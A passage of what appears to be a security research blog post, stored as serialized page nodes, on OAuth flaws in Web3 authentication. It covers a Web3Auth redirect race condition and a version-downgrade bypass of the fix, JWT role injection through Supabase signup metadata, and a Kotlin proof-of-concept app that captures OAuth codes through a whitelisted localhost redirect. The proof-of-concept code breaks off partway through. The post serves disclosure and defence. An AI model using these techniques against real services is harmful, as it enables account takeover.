misconfiguration",{"type":23,"tag":135,"props":69580,"children":69581},{},[69582],{"type":28,"value":69583},"OAuth abuse in localhost development environment",{"type":23,"tag":47,"props":69585,"children":69587},{"id":69586},"abusing-oauth-authentication-logic",[69588],{"type":28,"value":69589},"Abusing OAuth Authentication Logic",{"type":23,"tag":24,"props":69591,"children":69592},{},[69593],{"type":28,"value":69594},"During our research, we initially identified some bugs in applications. However, these were mostly simple and well-known issues, so we decided to focus on vulnerabilities within authentication providers themselves.",{"type":23,"tag":9693,"props":69596,"children":69598},{"id":69597},"web3auth-introduction",[69599],{"type":28,"value":69600},"Web3Auth Introduction",{"type":23,"tag":24,"props":69602,"children":69603},{},[69604,69611,69613,69620],{"type":23,"tag":36,"props":69605,"children":69608},{"href":69606,"rel":69607},"https://web3auth.io/",[40],[69609],{"type":28,"value":69610},"Web3Auth",{"type":28,"value":69612}," is a tool designed to simplify the login process for Web3 applications, eliminating the need for users to manage complex wallet setups or memorize lengthy passwords. One of its products, Web3Auth PnP (Plug and Play), supports ",{"type":23,"tag":36,"props":69614,"children":69617},{"href":69615,"rel":69616},"https://oauth.net/2/",[40],[69618],{"type":28,"value":69619},"OAuth2",{"type":28,"value":69621}," authentication using Google. The product employs a sophisticated authentication flow and infrastructure to maintain seamless integration with dApps.",{"type":23,"tag":9693,"props":69623,"children":69625},{"id":69624},"web3auth-authentication-flow",[69626],{"type":28,"value":69627},"Web3Auth Authentication flow",{"type":23,"tag":24,"props":69629,"children":69630},{},[69631],{"type":28,"value":69632},"The Web3Auth PnP authentication flow involves a web session server that stores authentication parameters and configurations. Below is a diagram illustrating how the authentication process works:",{"type":23,"tag":24,"props":69634,"children":69635},{},[69636],{"type":23,"tag":4009,"props":69637,"children":69639},{"alt":50631,"src":69638},"/posts/web2-in-web3/auth-flow.png",[],{"type":23,"tag":24,"props":69641,"children":69642},{},[69643,69645,69651],{"type":28,"value":69644},"After the final redirect back to the dApp, the application can use the secret token to authenticate with the service identified by the ",{"type":23,"tag":209,"props":69646,"children":69648},{"className":69647},[],[69649],{"type":28,"value":69650},"client_id",{"type":28,"value":69652},". This design ensures that you cannot use the token to authenticate against any unauthorized application.",{"type":23,"tag":24,"props":69654,"children":69655},{},[69656,69658,69664,69666,69672,69674,69681],{"type":28,"value":69657},"Additionally, it is important to note that each dApp has a whitelist of redirect URLs. The ",{"type":23,"tag":209,"props":69659,"children":69661},{"className":69660},[],[69662],{"type":28,"value":69663},"/start",{"type":28,"value":69665}," validates the ",{"type":23,"tag":209,"props":69667,"children":69669},{"className":69668},[],[69670],{"type":28,"value":69671},"redirect_url",{"type":28,"value":69673}," against the configured ",{"type":23,"tag":36,"props":69675,"children":69678},{"href":69676,"rel":69677},"https://web3auth.io/docs/dashboard-setup/whitelisting",[40],[69679],{"type":28,"value":69680},"whitelist",{"type":28,"value":69682}," to ensure it matches one of the allowed URLs.",{"type":23,"tag":9693,"props":69684,"children":69686},{"id":69685},"in-transit-cryptography",[69687],{"type":28,"value":69688},"In-transit Cryptography",{"type":23,"tag":24,"props":69690,"children":69691},{},[69692,69694,69701,69703,69709,69711,69717,69719,69724,69726,69731],{"type":28,"value":69693},"The session server employs cryptography to securely send and receive authentication parameters. The ",{"type":23,"tag":36,"props":69695,"children":69698},{"href":69696,"rel":69697},"https://en.wikipedia.org/wiki/Key_(cryptography)",[40],[69699],{"type":28,"value":69700},"cryptographic key",{"type":28,"value":69702}," is derived from the ",{"type":23,"tag":209,"props":69704,"children":69706},{"className":69705},[],[69707],{"type":28,"value":69708},"sessionId",{"type":28,"value":69710}," sent in the ",{"type":23,"tag":209,"props":69712,"children":69714},{"className":69713},[],[69715],{"type":28,"value":69716},"GET",{"type":28,"value":69718}," parameter to the ",{"type":23,"tag":209,"props":69720,"children":69722},{"className":69721},[],[69723],{"type":28,"value":69663},{"type":28,"value":69725},". Since the ",{"type":23,"tag":209,"props":69727,"children":69729},{"className":69728},[],[69730],{"type":28,"value":69708},{"type":28,"value":69732}," can be controlled, it allows us to send and receive data from the session server.",{"type":23,"tag":24,"props":69734,"children":69735},{},[69736],{"type":23,"tag":4009,"props":69737,"children":69739},{"alt":50631,"src":69738},"/posts/web2-in-web3/image-2.png",[],{"type":23,"tag":9693,"props":69741,"children":69743},{"id":69742},"race-condition",[69744],{"type":28,"value":69745},"Race Condition",{"type":23,"tag":24,"props":69747,"children":69748},{},[69749,69751,69756,69758,69764,69766,69771,69773,69778],{"type":28,"value":69750},"As shown in the diagram, the configuration data from the session server is validated only during the ",{"type":23,"tag":209,"props":69752,"children":69754},{"className":69753},[],[69755],{"type":28,"value":69663},{"type":28,"value":69757}," and later used in the ",{"type":23,"tag":209,"props":69759,"children":69761},{"className":69760},[],[69762],{"type":28,"value":69763},"/end",{"type":28,"value":69765}," enpoint. This introduces a potential race condition that can be exploited if an attacker manages to modify the parameters after validation (",{"type":23,"tag":209,"props":69767,"children":69769},{"className":69768},[],[69770],{"type":28,"value":69663},{"type":28,"value":69772},") but before use (",{"type":23,"tag":209,"props":69774,"children":69776},{"className":69775},[],[69777],{"type":28,"value":69763},{"type":28,"value":20796},{"type":23,"tag":24,"props":69780,"children":69781},{},[69782,69784,69791,69793,69798],{"type":28,"value":69783},"To exploit this ",{"type":23,"tag":36,"props":69785,"children":69788},{"href":69786,"rel":69787},"https://portswigger.net/web-security/race-conditions",[40],[69789],{"type":28,"value":69790},"race condition",{"type":28,"value":69792},", an attacker-controlled website can initiate the authentication flow normally. Then, it can send another request to the session server with the same ",{"type":23,"tag":209,"props":69794,"children":69796},{"className":69795},[],[69797],{"type":28,"value":69708},{"type":28,"value":69799}," but with modified malicious parameters.",{"type":23,"tag":24,"props":69801,"children":69802},{},[69803],{"type":23,"tag":95,"props":69804,"children":69805},{},[69806],{"type":28,"value":69807},"What can be modified to achieve something impactful?",{"type":23,"tag":24,"props":69809,"children":69810},{},[69811,69813,69819,69821,69826],{"type":28,"value":69812},"The answer is quite simple if you understand how OAuth works. The attacker can simply change the ",{"type":23,"tag":209,"props":69814,"children":69816},{"className":69815},[],[69817],{"type":28,"value":69818},"redirect_uri",{"type":28,"value":69820}," parameter to point to their own website and leak the secret token from the query string. With the secret token, they can authenticate against the application defined by ",{"type":23,"tag":209,"props":69822,"children":69824},{"className":69823},[],[69825],{"type":28,"value":69650},{"type":28,"value":124},{"type":23,"tag":24,"props":69828,"children":69829},{},[69830],{"type":23,"tag":4009,"props":69831,"children":69833},{"alt":50631,"src":69832},"/posts/web2-in-web3/image-3.png",[],{"type":23,"tag":24,"props":69835,"children":69836},{},[69837],{"type":28,"value":69838},"Using this exploit, we were able to create a website capable of taking over the accounts of victims who followed the standard OAuth flow.",{"type":23,"tag":9693,"props":69840,"children":69842},{"id":69841},"patch-bypass",[69843],{"type":28,"value":69844},"Patch & Bypass",{"type":23,"tag":24,"props":69846,"children":69847},{},[69848],{"type":28,"value":69849},"The vulnerability was reported and remediated on the same day (super quickly!). However, we found that the fix was not backported to older versions.",{"type":23,"tag":24,"props":69851,"children":69852},{},[69853],{"type":28,"value":69854},"To bypass the fix we were able to change the version in the URL:",{"type":23,"tag":168,"props":69856,"children":69857},{},[69858,69869],{"type":23,"tag":135,"props":69859,"children":69860},{},[69861,69867],{"type":23,"tag":209,"props":69862,"children":69864},{"className":69863},[],[69865],{"type":28,"value":69866},"https://auth.web3auth.io/v8/start",{"type":28,"value":69868}," (latest version)",{"type":23,"tag":135,"props":69870,"children":69871},{},[69872,69878],{"type":23,"tag":209,"props":69873,"children":69875},{"className":69874},[],[69876],{"type":28,"value":69877},"https://auth.web3auth.io/v6/start",{"type":28,"value":69879}," (bypass)",{"type":23,"tag":24,"props":69881,"children":69882},{},[69883],{"type":28,"value":69884},"We reported this issue, and it was addressed just as quickly!",{"type":23,"tag":47,"props":69886,"children":69888},{"id":69887},"supabase-metadata-manipulation",[69889],{"type":28,"value":69890},"Supabase metadata manipulation",{"type":23,"tag":9693,"props":69892,"children":69894},{"id":69893},"supabase-authentication-flow",[69895],{"type":28,"value":69896},"Supabase Authentication flow",{"type":23,"tag":24,"props":69898,"children":69899},{},[69900,69907,69909,69916],{"type":23,"tag":36,"props":69901,"children":69904},{"href":69902,"rel":69903},"https://supabase.com/docs/guides/auth",[40],[69905],{"type":28,"value":69906},"Supabase",{"type":28,"value":69908}," is a Backend-as-a-Service (BaaS) platform that provides authentication, database, and real-time APIs. The authentication process begins when a user registers or logs in. Supabase generates a ",{"type":23,"tag":36,"props":69910,"children":69913},{"href":69911,"rel":69912},"https://jwt.io/",[40],[69914],{"type":28,"value":69915},"JWT",{"type":28,"value":69917}," for the authenticated user, embedding claims such as the user ID, roles, and additional metadata (either user-provided or system-generated). This token is then returned to the client and used for subsequent API requests, during which the server validates the JWT to confirm the user’s identity and permissions.",{"type":23,"tag":9693,"props":69919,"children":69921},{"id":69920},"jwt-verification",[69922],{"type":28,"value":69923},"JWT verification",{"type":23,"tag":24,"props":69925,"children":69926},{},[69927,69929,69934,69935,69941,69943,69949],{"type":28,"value":69928},"In one of our clients' systems, we discovered a vulnerability that allowed the inclusion of custom fields, such as ",{"type":23,"tag":209,"props":69930,"children":69932},{"className":69931},[],[69933],{"type":28,"value":69576},{"type":28,"value":1466},{"type":23,"tag":209,"props":69936,"children":69938},{"className":69937},[],[69939],{"type":28,"value":69940},"identity_data",{"type":28,"value":69942},", in a signup request by manipulating the input inside the ",{"type":23,"tag":209,"props":69944,"children":69946},{"className":69945},[],[69947],{"type":28,"value":69948},"\"data\": {}",{"type":28,"value":69950}," structure. These fields were then directly reflected in the issued JWT without validation.",{"type":23,"tag":24,"props":69952,"children":69953},{},[69954,69956,69962,69963,69969,69971,69977],{"type":28,"value":69955},"For example, an attacker could send a signup request with arbitrary data, such as ",{"type":23,"tag":209,"props":69957,"children":69959},{"className":69958},[],[69960],{"type":28,"value":69961},"\"role\": \"admin\"",{"type":28,"value":108},{"type":23,"tag":209,"props":69964,"children":69966},{"className":69965},[],[69967],{"type":28,"value":69968},"\"email_verified\": true",{"type":28,"value":69970},", which would subsequently be included in the JWT claims. Additionally, it was possible to insert arbitrary fields beyond typical inputs, such as ",{"type":23,"tag":209,"props":69972,"children":69974},{"className":69973},[],[69975],{"type":28,"value":69976},"\"test\": \"test\"",{"type":28,"value":69978},", enabling us to inject arbitrary data into the final JWT token.",{"type":23,"tag":24,"props":69980,"children":69981},{},[69982],{"type":23,"tag":4009,"props":69983,"children":69985},{"alt":50631,"src":69984},"/posts/web2-in-web3/image-4.png",[],{"type":23,"tag":24,"props":69987,"children":69988},{},[69989],{"type":28,"value":69990},"In this example we are controlling the \"role\" field within the user metadata. If the application manage roles using the metadata, it would be vulnerable to a privilege escalation since anyone could inject any role there.",{"type":23,"tag":24,"props":69992,"children":69993},{},[69994],{"type":28,"value":69995},"The attacker could subsequently log in on the main platform, retrieve the token, and verify that their injected parameters persist in the JWT by submitting it to a verification endpoint. This happens because a function parseSupaBase was parsing and verifying everything generated by the JWT supabase token.",{"type":23,"tag":202,"props":69997,"children":69999},{"className":31419,"code":69998,"language":31421,"meta":7,"style":7},"function parseSupaBase(token) {\n try {\n const [header, payload, signature] = token.split('.');\n const decodedHeader = JSON.parse(atob(header));\n const decodedPayload = JSON.parse(atob(payload));\n return { header: decodedHeader, payload: decodedPayload, signature };\n } catch (error) {\n console.error('Error parsing token:', error);\n return null;\n }\n}\n",[70000],{"type":23,"tag":209,"props":70001,"children":70002},{"__ignoreMap":7},[70003,70028,70040,70109,70158,70206,70251,70274,70311,70327,70334],{"type":23,"tag":213,"props":70004,"children":70005},{"class":215,"line":216},[70006,70010,70015,70019,70024],{"type":23,"tag":213,"props":70007,"children":70008},{"style":230},[70009],{"type":28,"value":31433},{"type":23,"tag":213,"props":70011,"children":70012},{"style":257},[70013],{"type":28,"value":70014}," parseSupaBase",{"type":23,"tag":213,"props":70016,"children":70017},{"style":220},[70018],{"type":28,"value":265},{"type":23,"tag":213,"props":70020,"children":70021},{"style":268},[70022],{"type":28,"value":70023},"token",{"type":23,"tag":213,"props":70025,"children":70026},{"style":220},[70027],{"type":28,"value":14870},{"type":23,"tag":213,"props":70029,"children":70030},{"class":215,"line":226},[70031,70036],{"type":23,"tag":213,"props":70032,"children":70033},{"style":1362},[70034],{"type":28,"value":70035}," try",{"type":23,"tag":213,"props":70037,"children":70038},{"style":220},[70039],{"type":28,"value":1375},{"type":23,"tag":213,"props":70041,"children":70042},{"class":215,"line":524},[70043,70047,70051,70056,70060,70065,70069,70074,70078,70082,70087,70091,70096,70100,70105],{"type":23,"tag":213,"props":70044,"children":70045},{"style":230},[70046],{"type":28,"value":32957},{"type":23,"tag":213,"props":70048,"children":70049},{"style":220},[70050],{"type":28,"value":469},{"type":23,"tag":213,"props":70052,"children":70053},{"style":268},[70054],{"type":28,"value":70055},"header",{"type":23,"tag":213,"props":70057,"children":70058},{"style":220},[70059],{"type":28,"value":424},{"type":23,"tag":213,"props":70061,"children":70062},{"style":268},[70063],{"type":28,"value":70064},"payload",{"type":23,"tag":213,"props":70066,"children":70067},{"style":220},[70068],{"type":28,"value":424},{"type":23,"tag":213,"props":70070,"children":70071},{"style":268},[70072],{"type":28,"value":70073},"signature",{"type":23,"tag":213,"props":70075,"children":70076},{"style":220},[70077],{"type":28,"value":8746},{"type":23,"tag":213,"props":70079,"children":70080},{"style":274},[70081],{"type":28,"value":3190},{"type":23,"tag":213,"props":70083,"children":70084},{"style":268},[70085],{"type":28,"value":70086}," token",{"type":23,"tag":213,"props":70088,"children":70089},{"style":220},[70090],{"type":28,"value":124},{"type":23,"tag":213,"props":70092,"children":70093},{"style":257},[70094],{"type":28,"value":70095},"split",{"type":23,"tag":213,"props":70097,"children":70098},{"style":220},[70099],{"type":28,"value":265},{"type":23,"tag":213,"props":70101,"children":70102},{"style":246},[70103],{"type":28,"value":70104},"'.'",{"type":23,"tag":213,"props":70106,"children":70107},{"style":220},[70108],{"type":28,"value":2867},{"type":23,"tag":213,"props":70110,"children":70111},{"class":215,"line":533},[70112,70116,70121,70125,70129,70133,70137,70141,70146,70150,70154],{"type":23,"tag":213,"props":70113,"children":70114},{"style":230},[70115],{"type":28,"value":32957},{"type":23,"tag":213,"props":70117,"children":70118},{"style":268},[70119],{"type":28,"value":70120}," decodedHeader",{"type":23,"tag":213,"props":70122,"children":70123},{"style":274},[70124],{"type":28,"value":511},{"type":23,"tag":213,"props":70126,"children":70127},{"style":268},[70128],{"type":28,"value":37586},{"type":23,"tag":213,"props":70130,"children":70131},{"style":220},[70132],{"type":28,"value":124},{"type":23,"tag":213,"props":70134,"children":70135},{"style":257},[70136],{"type":28,"value":39269},{"type":23,"tag":213,"props":70138,"children":70139},{"style":220},[70140],{"type":28,"value":265},{"type":23,"tag":213,"props":70142,"children":70143},{"style":257},[70144],{"type":28,"value":70145},"atob",{"type":23,"tag":213,"props":70147,"children":70148},{"style":220},[70149],{"type":28,"value":265},{"type":23,"tag":213,"props":70151,"children":70152},{"style":268},[70153],{"type":28,"value":70055},{"type":23,"tag":213,"props":70155,"children":70156},{"style":220},[70157],{"type":28,"value":7313},{"type":23,"tag":213,"props":70159,"children":70160},{"class":215,"line":543},[70161,70165,70170,70174,70178,70182,70186,70190,70194,70198,70202],{"type":23,"tag":213,"props":70162,"children":70163},{"style":230},[70164],{"type":28,"value":32957},{"type":23,"tag":213,"props":70166,"children":70167},{"style":268},[70168],{"type":28,"value":70169}," decodedPayload",{"type":23,"tag":213,"props":70171,"children":70172},{"style":274},[70173],{"type":28,"value":511},{"type":23,"tag":213,"props":70175,"children":70176},{"style":268},[70177],{"type":28,"value":37586},{"type":23,"tag":213,"props":70179,"children":70180},{"style":220},[70181],{"type":28,"value":124},{"type":23,"tag":213,"props":70183,"children":70184},{"style":257},[70185],{"type":28,"value":39269},{"type":23,"tag":213,"props":70187,"children":70188},{"style":220},[70189],{"type":28,"value":265},{"type":23,"tag":213,"props":70191,"children":70192},{"style":257},[70193],{"type":28,"value":70145},{"type":23,"tag":213,"props":70195,"children":70196},{"style":220},[70197],{"type":28,"value":265},{"type":23,"tag":213,"props":70199,"children":70200},{"style":268},[70201],{"type":28,"value":70064},{"type":23,"tag":213,"props":70203,"children":70204},{"style":220},[70205],{"type":28,"value":7313},{"type":23,"tag":213,"props":70207,"children":70208},{"class":215,"line":551},[70209,70213,70217,70222,70226,70230,70235,70239,70243,70247],{"type":23,"tag":213,"props":70210,"children":70211},{"style":1362},[70212],{"type":28,"value":2839},{"type":23,"tag":213,"props":70214,"children":70215},{"style":220},[70216],{"type":28,"value":2572},{"type":23,"tag":213,"props":70218,"children":70219},{"style":268},[70220],{"type":28,"value":70221},"header:",{"type":23,"tag":213,"props":70223,"children":70224},{"style":268},[70225],{"type":28,"value":70120},{"type":23,"tag":213,"props":70227,"children":70228},{"style":220},[70229],{"type":28,"value":424},{"type":23,"tag":213,"props":70231,"children":70232},{"style":268},[70233],{"type":28,"value":70234},"payload:",{"type":23,"tag":213,"props":70236,"children":70237},{"style":268},[70238],{"type":28,"value":70169},{"type":23,"tag":213,"props":70240,"children":70241},{"style":220},[70242],{"type":28,"value":424},{"type":23,"tag":213,"props":70244,"children":70245},{"style":268},[70246],{"type":28,"value":70073},{"type":23,"tag":213,"props":70248,"children":70249},{"style":220},[70250],{"type":28,"value":18350},{"type":23,"tag":213,"props":70252,"children":70253},{"class":215,"line":570},[70254,70258,70262,70266,70270],{"type":23,"tag":213,"props":70255,"children":70256},{"style":220},[70257],{"type":28,"value":1440},{"type":23,"tag":213,"props":70259,"children":70260},{"style":1362},[70261],{"type":28,"value":48463},{"type":23,"tag":213,"props":70263,"children":70264},{"style":220},[70265],{"type":28,"value":400},{"type":23,"tag":213,"props":70267,"children":70268},{"style":268},[70269],{"type":28,"value":14929},{"type":23,"tag":213,"props":70271,"children":70272},{"style":220},[70273],{"type":28,"value":14870},{"type":23,"tag":213,"props":70275,"children":70276},{"class":215,"line":655},[70277,70282,70286,70290,70294,70299,70303,70307],{"type":23,"tag":213,"props":70278,"children":70279},{"style":268},[70280],{"type":28,"value":70281}," console",{"type":23,"tag":213,"props":70283,"children":70284},{"style":220},[70285],{"type":28,"value":124},{"type":23,"tag":213,"props":70287,"children":70288},{"style":257},[70289],{"type":28,"value":14929},{"type":23,"tag":213,"props":70291,"children":70292},{"style":220},[70293],{"type":28,"value":265},{"type":23,"tag":213,"props":70295,"children":70296},{"style":246},[70297],{"type":28,"value":70298},"'Error parsing token:'",{"type":23,"tag":213,"props":70300,"children":70301},{"style":220},[70302],{"type":28,"value":424},{"type":23,"tag":213,"props":70304,"children":70305},{"style":268},[70306],{"type":28,"value":14929},{"type":23,"tag":213,"props":70308,"children":70309},{"style":220},[70310],{"type":28,"value":2867},{"type":23,"tag":213,"props":70312,"children":70313},{"class":215,"line":1176},[70314,70318,70323],{"type":23,"tag":213,"props":70315,"children":70316},{"style":1362},[70317],{"type":28,"value":2839},{"type":23,"tag":213,"props":70319,"children":70320},{"style":230},[70321],{"type":28,"value":70322}," null",{"type":23,"tag":213,"props":70324,"children":70325},{"style":220},[70326],{"type":28,"value":313},{"type":23,"tag":213,"props":70328,"children":70329},{"class":215,"line":1202},[70330],{"type":23,"tag":213,"props":70331,"children":70332},{"style":220},[70333],{"type":28,"value":2875},{"type":23,"tag":213,"props":70335,"children":70336},{"class":215,"line":1758},[70337],{"type":23,"tag":213,"props":70338,"children":70339},{"style":220},[70340],{"type":28,"value":1208},{"type":23,"tag":9693,"props":70342,"children":70343},{"id":40391},[70344],{"type":28,"value":40394},{"type":23,"tag":24,"props":70346,"children":70347},{},[70348,70350,70357,70359,70365],{"type":28,"value":70349},"Developers should avoid trusting input from their Supabase custom domain. ",{"type":23,"tag":36,"props":70351,"children":70354},{"href":70352,"rel":70353},"https://supabase.com/docs/guides/database/postgres/row-level-security",[40],[70355],{"type":28,"value":70356},"Row-Level Security",{"type":28,"value":70358}," (RLS) on Supabase should be enforced, plus important and private fields should be defined in ",{"type":23,"tag":209,"props":70360,"children":70362},{"className":70361},[],[70363],{"type":28,"value":70364},"app_metadata",{"type":28,"value":70366},". These fields must be strictly validated at every step of their creation and update processes.",{"type":23,"tag":47,"props":70368,"children":70370},{"id":70369},"oauth-in-development-environments",[70371],{"type":28,"value":70372},"OAuth in development environments",{"type":23,"tag":24,"props":70374,"children":70375},{},[70376,70378,70385,70387,70392],{"type":28,"value":70377},"After watching a ",{"type":23,"tag":36,"props":70379,"children":70382},{"href":70380,"rel":70381},"https://docs.google.com/presentation/d/1571_ZSOtfVat9u63zfn1ugTPZRN7pQsFIblcxci3czM/edit",[40],[70383],{"type":28,"value":70384},"talk",{"type":28,"value":70386}," by Luan Herrera on exploiting the logic of desktop apps that use OAuth for authentication (specifically using a localhost server), we noticed that many of our customers also permitted localhost within the ",{"type":23,"tag":209,"props":70388,"children":70390},{"className":70389},[],[70391],{"type":28,"value":69818},{"type":28,"value":70393}," parameter during the OAuth flow.",{"type":23,"tag":24,"props":70395,"children":70396},{},[70397,70399,70406],{"type":28,"value":70398},"Herrera's research highlights that if localhost is allowed as a redirect URI, it is generally not exploitable in a desktop environment because impersonating localhost without ",{"type":23,"tag":36,"props":70400,"children":70403},{"href":70401,"rel":70402},"https://www.cloudflare.com/learning/security/what-is-remote-code-execution/",[40],[70404],{"type":28,"value":70405},"Remote Code Execution",{"type":28,"value":70407}," (RCE) is impossible. However, the scenario changes in a mobile environment, where it is feasible to open a localhost web server using a malicious app, making exploitation possible.",{"type":23,"tag":24,"props":70409,"children":70410},{},[70411,70413,70419],{"type":28,"value":70412},"In one of our client's implementations, we identified that ",{"type":23,"tag":209,"props":70414,"children":70416},{"className":70415},[],[70417],{"type":28,"value":70418},"localhost:3000",{"type":28,"value":70420}," was permitted. The exploitation method is the same as demonstrated in Herrera's talk. However, we observed that localhost servers are frequently used and whitelisted by developers, not only for desktop applications but also for testing and development environments.",{"type":23,"tag":24,"props":70422,"children":70423},{},[70424],{"type":28,"value":70425},"For the exploitation, the final Google OAuth URL was constructed as follows:",{"type":23,"tag":202,"props":70427,"children":70431},{"className":70428,"code":70429,"language":70430,"meta":7,"style":7},"language-url shiki shiki-themes slack-dark","https://accounts.google.com/o/oauth2/v2/auth?client_id=redacted&scope=openid%20email%20profile&response_type=code&redirect_uri=http%3A%2F%2Flocalhost%3A3000%2Fapi%2Fauth%2Fcallback%2Fgoogle&prompt=none&access_type=offline&state=2UTJ8naHVglSQQupa1jw1lugsaZr8f5M9hxZp7bxISM&code_challenge=e6_Onj804xizwJzVT5Pf8luKPbtLV-EJssR7I58UQp8&code_challenge_method=S256&service=lso&o2v=2&ddm=1&flowName=GeneralOAuthFlow\n","url",[70432],{"type":23,"tag":209,"props":70433,"children":70434},{"__ignoreMap":7},[70435],{"type":23,"tag":213,"props":70436,"children":70437},{"class":215,"line":216},[70438],{"type":23,"tag":213,"props":70439,"children":70440},{},[70441],{"type":28,"value":70429},{"type":23,"tag":24,"props":70443,"children":70444},{},[70445],{"type":28,"value":70446},"Since there was no public exploit, we also created a proof of concept demonstrating how a malicious APK can be created to steal the OAuth token simply by opening the malicious app. This occurs without any user interaction and results in account takeover.",{"type":23,"tag":202,"props":70448,"children":70452},{"className":70449,"code":70450,"language":70451,"meta":7,"style":7},"language-kotlin shiki shiki-themes slack-dark","class MainActivity : AppCompatActivity() {\n\n override fun onCreate(savedInstanceState: Bundle?) {\n super.onCreate(savedInstanceState)\n\n // Start the Ktor web server\n CoroutineScope(Dispatchers.IO).launch {\n try {\n startWebServer()\n Log.d(\"WebServer\", \"Server started on http://localhost:3000\")\n } catch (e: Exception) {\n Log.e(\"WebServer\", \"Error starting server: ${e.message}\", e)\n }\n }\n\n // Open the Google OAuth page\n val googleOAuthUrl = \"https://accounts.google.com/o/oauth2/v2/auth?client_id=redacted&scope=openid%20email%20profile&response_type=code&redirect_uri=http%3A%2F%2Flocalhost%3A3000%2Fapi%2Fauth%2Fcallback%2Fgoogle&prompt=none&access_type=offline&state=2UTJ8naHVglSQQupa1jw1lugsaZr8f5M9hxZp7bxISM&code_challenge=e6_Onj804xizwJzVT5Pf8luKPbtLV-EJssR7I58UQp8&code_challenge_method=S256&service=lso&o2v=2&ddm=1&flowName=GeneralOAuthFlow\"\n val browserIntent = Intent(Intent.ACTION_VIEW, Uri.parse(googleOAuthUrl))\n startActivity(browserIntent)\n }\n\n private fun startWebServer() {\n embeddedServer(CIO, port = 3000) {\n routing {\n get(\"{...}\") {\n call.respondHtml {\n head {\n meta(charset = \"UTF-8\")\n meta(name = \"viewport\", content = \"width=device-width, initial-scale=1.0\")\n title(\"OAuth Redirect\")\n }\n body {\n h1 { +\"Google OAuth Redirect\" }\n script {\n +\"document.body.innerText = location.search;\"\n }\n }\n }\n }\n }\n }.start(wait = true)\n }\n}\n","kotlin",[70453],{"type":23,"tag":209,"props":70454,"children":70455},{"__ignoreMap":7},[70456,70483,70490,70522,70544,70551,70559,70581,70593,70605,70640,70666,70716,70723,70730,70737,70745,70767,70802,70815,70822,70829,70850,70876,70888,70909,70926,70938,70964,71003,71024,71032,71044,71069,71081,71094,71102,71109,71117,71125,71132,71162,71169],{"type":23,"tag":213,"props":70457,"children":70458},{"class":215,"line":216},[70459,70464,70469,70474,70479],{"type":23,"tag":213,"props":70460,"children":70461},{"style":230},[70462],{"type":28,"value":70463},"class",{"type":23,"tag":213,"props":70465,"children":70466},{"style":290},[70467],{"type":28,"value":70468}," MainActivity",{"type":23,"tag":213,"props":70470,"children":70471},{"style":220},[70472],{"type":28,"value":70473}," : ",{"type":23,"tag":213,"props":70475,"children":70476},{"style":290},[70477],{"type":28,"value":70478},"AppCompatActivity",{"type":23,"tag":213,"props":70480,"children":70481},{"style":220},[70482],{"type":28,"value":15791},{"type":23,"tag":213,"props":70484,"children":70485},{"class":215,"line":226},[70486],{"type":23,"tag":213,"props":70487,"children":70488},{"emptyLinePlaceholder":18},[70489],{"type":28,"value":530},{"type":23,"tag":213,"props":70491,"children":70492},{"class":215,"line":524},[70493,70498,70502,70507,70512,70517],{"type":23,"tag":213,"props":70494,"children":70495},{"style":230},[70496],{"type":28,"value":70497}," override",{"type":23,"tag":213,"props":70499,"children":70500},{"style":230},[70501],{"type":28,"value":6299},{"type":23,"tag":213,"props":70503,"children":70504},{"style":257},[70505],{"type":28,"value":70506}," onCreate",{"type":23,"tag":213,"props":70508,"children":70509},{"style":220},[70510],{"type":28,"value":70511},"(savedInstanceState: ",{"type":23,"tag":213,"props":70513,"children":70514},{"style":290},[70515],{"type":28,"value":70516},"Bundle",{"type":23,"tag":213,"props":70518,"children":70519},{"style":220},[70520],{"type":28,"value":70521},"?) {\n",{"type":23,"tag":213,"props":70523,"children":70524},{"class":215,"line":533},[70525,70530,70534,70539],{"type":23,"tag":213,"props":70526,"children":70527},{"style":230},[70528],{"type":28,"value":70529}," super",{"type":23,"tag":213,"props":70531,"children":70532},{"style":220},[70533],{"type":28,"value":124},{"type":23,"tag":213,"props":70535,"children":70536},{"style":257},[70537],{"type":28,"value":70538},"onCreate",{"type":23,"tag":213,"props":70540,"children":70541},{"style":220},[70542],{"type":28,"value":70543},"(savedInstanceState)\n",{"type":23,"tag":213,"props":70545,"children":70546},{"class":215,"line":543},[70547],{"type":23,"tag":213,"props":70548,"children":70549},{"emptyLinePlaceholder":18},[70550],{"type":28,"value":530},{"type":23,"tag":213,"props":70552,"children":70553},{"class":215,"line":551},[70554],{"type":23,"tag":213,"props":70555,"children":70556},{"style":537},[70557],{"type":28,"value":70558}," // Start the Ktor web server\n",{"type":23,"tag":213,"props":70560,"children":70561},{"class":215,"line":570},[70562,70567,70572,70577],{"type":23,"tag":213,"props":70563,"children":70564},{"style":257},[70565],{"type":28,"value":70566}," CoroutineScope",{"type":23,"tag":213,"props":70568,"children":70569},{"style":220},[70570],{"type":28,"value":70571},"(Dispatchers.IO).",{"type":23,"tag":213,"props":70573,"children":70574},{"style":257},[70575],{"type":28,"value":70576},"launch",{"type":23,"tag":213,"props":70578,"children":70579},{"style":220},[70580],{"type":28,"value":1375},{"type":23,"tag":213,"props":70582,"children":70583},{"class":215,"line":655},[70584,70589],{"type":23,"tag":213,"props":70585,"children":70586},{"style":1362},[70587],{"type":28,"value":70588}," try",{"type":23,"tag":213,"props":70590,"children":70591},{"style":220},[70592],{"type":28,"value":1375},{"type":23,"tag":213,"props":70594,"children":70595},{"class":215,"line":1176},[70596,70601],{"type":23,"tag":213,"props":70597,"children":70598},{"style":257},[70599],{"type":28,"value":70600}," startWebServer",{"type":23,"tag":213,"props":70602,"children":70603},{"style":220},[70604],{"type":28,"value":7824},{"type":23,"tag":213,"props":70606,"children":70607},{"class":215,"line":1202},[70608,70613,70618,70622,70627,70631,70636],{"type":23,"tag":213,"props":70609,"children":70610},{"style":220},[70611],{"type":28,"value":70612}," Log.",{"type":23,"tag":213,"props":70614,"children":70615},{"style":257},[70616],{"type":28,"value":70617},"d",{"type":23,"tag":213,"props":70619,"children":70620},{"style":220},[70621],{"type":28,"value":265},{"type":23,"tag":213,"props":70623,"children":70624},{"style":246},[70625],{"type":28,"value":70626},"\"WebServer\"",{"type":23,"tag":213,"props":70628,"children":70629},{"style":220},[70630],{"type":28,"value":424},{"type":23,"tag":213,"props":70632,"children":70633},{"style":246},[70634],{"type":28,"value":70635},"\"Server started on http://localhost:3000\"",{"type":23,"tag":213,"props":70637,"children":70638},{"style":220},[70639],{"type":28,"value":2183},{"type":23,"tag":213,"props":70641,"children":70642},{"class":215,"line":1758},[70643,70648,70652,70657,70662],{"type":23,"tag":213,"props":70644,"children":70645},{"style":220},[70646],{"type":28,"value":70647}," } 